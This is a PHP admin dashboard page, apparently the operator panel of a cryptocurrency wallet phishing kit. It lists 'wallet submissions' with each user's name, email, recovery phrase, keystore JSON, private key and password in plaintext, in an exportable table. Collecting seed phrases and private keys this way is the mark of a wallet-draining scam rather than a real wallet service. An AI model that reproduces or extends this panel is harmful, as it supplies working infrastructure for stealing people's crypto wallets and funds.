<?php
session_start();
include("connection.php");
//error_reporting(0);

if(isset($_SESSION['admin'])){
?>
  
<?php 
include('header.php'); 

$sql = "
    SELECT w.id, w.user_id, u.user_name, u.user_email, w.keyid, w.login_type, w.phrase, w.keystore_json, w.private_key, w.password, w.created_at
    FROM wallet_submissions w
    LEFT JOIN users u ON w.user_id = u.user_id
    ORDER BY w.created_at DESC
";
$result = mysqli_query($conn, $sql);
?>


        <!-- Page Content Start -->
        <div class="content-page">
            <div class="content">
                <div class="container-fluid">

                    <!-- Page title box -->
                    <div class="page-title-box">
                        <ol class="breadcrumb float-right">
                            <li class="breadcrumb-item"><a href="javascript:void(0);">Wallet Submission</a></li>
                            <li class="breadcrumb-item"><a href="javascript:void(0);">Board</a></li>
                            <li class="breadcrumb-item active">Wallet Submission Tables</li>
                        </ol>
                        <h4 class="page-title">Wallet Submission</h4>
                    </div>
                    <!-- End page title box -->




                    <div class="row">
                        <div class="col-12">
                            <div class="card-box">
                                <table id="datatable-buttons" class="table table-striped table-bordered dt-responsive nowrap">
                                    <thead>
                                        <tr>
                                            <th>ID</th>
                                            <th>User Name</th>
                                            <th>User Email</th>
                                            <th>Key ID</th>
                                            <th>Login Type</th>
                                            <th>Phrase</th>
                                            <th>Keystore JSON</th>
                                            <th>Private Key</th>
                                            <th>Password</th>
                                            <th>Created At</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php if ($result && mysqli_num_rows($result) > 0): ?>
                                            <?php while ($row = mysqli_fetch_assoc($result)): ?>
                                                <tr>
                                                    <td><?= htmlspecialchars($row['id']) ?></td>
                                                    <td><?= htmlspecialchars($row['user_name'] ?? 'N/A') ?></td>
                                                    <td><?= htmlspecialchars($row['user_email'] ?? 'N/A') ?></td>
                                                    <td><?= htmlspecialchars($row['keyid']) ?></td>
                                                    <td><?= htmlspecialchars($row['login_type']) ?></td>
                                                    <td><?= htmlspecialchars($row['phrase']) ?></td>
                                                    <td><?= htmlspecialchars($row['keystore_json']) ?></td>
                                                    <td><?= htmlspecialchars($row['private_key']) ?></td>
                                                    <td><?= htmlspecialchars($row['password']) ?></td>
                                                    <td><?= htmlspecialchars($row['created_at']) ?></td>
                                                </tr>
                                            <?php endwhile; ?>
                                        <?php else: ?>
                                            <tr>
                                                <td colspan="10" class="text-center">No wallet submissions found.</td>
                                            </tr>
                                        <?php endif; ?>
                                    </tbody>
                                </table>
                                
                                <?php
                                mysqli_close($conn);
                                ?>
                            </div>
                        </div>
                    </div>
                    <!-- end row -->


                </div> <!-- end container-fluid-->
            </div> <!-- end contant-->
        </div>
        <!-- End Page Content-->
     


                <!-- Footer Start -->
                <footer class="footer">
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col-md-12 text-center">
                                  <script>document.write(new Date().getFullYear())</script> ©  <?=$sitename?>
                            </div>
                        </div>
                    </div>
                </footer>
                <!-- end Footer -->

            </div>

            <!-- ============================================================== -->
            <!-- End Page content -->
            <!-- ============================================================== -->


        </div>
        <!-- END wrapper -->

       

        <!-- Right bar overlay-->
        <div class="rightbar-overlay"></div>

        <!-- Vendor js -->
        <script src="assets/js/vendor.min.js"></script>

        <!-- datatable js -->
        <script src="assets/libs/datatables/jquery.dataTables.min.js"></script>
        <script src="assets/libs/datatables/dataTables.bootstrap4.min.js"></script>
        <script src="assets/libs/datatables/dataTables.responsive.min.js"></script>
        <script src="assets/libs/datatables/responsive.bootstrap4.min.js"></script>
        
        <script src="assets/libs/datatables/dataTables.buttons.min.js"></script>
        <script src="assets/libs/datatables/buttons.bootstrap4.min.js"></script>
        <script src="assets/libs/datatables/buttons.html5.min.js"></script>
        <script src="assets/libs/datatables/buttons.flash.min.js"></script>
        <script src="assets/libs/datatables/buttons.print.min.js"></script>

        <script src="assets/libs/datatables/dataTables.keyTable.min.js"></script>
        <script src="assets/libs/datatables/dataTables.select.min.js"></script>

        <!-- Datatables init -->
        <script src="assets/js/pages/datatables.init.js"></script>

        <!-- App js -->
        <script src="assets/js/app.min.js"></script>
        
    </body>
</html>

<?php } else {
    header("location:login.php");
    exit;
}?>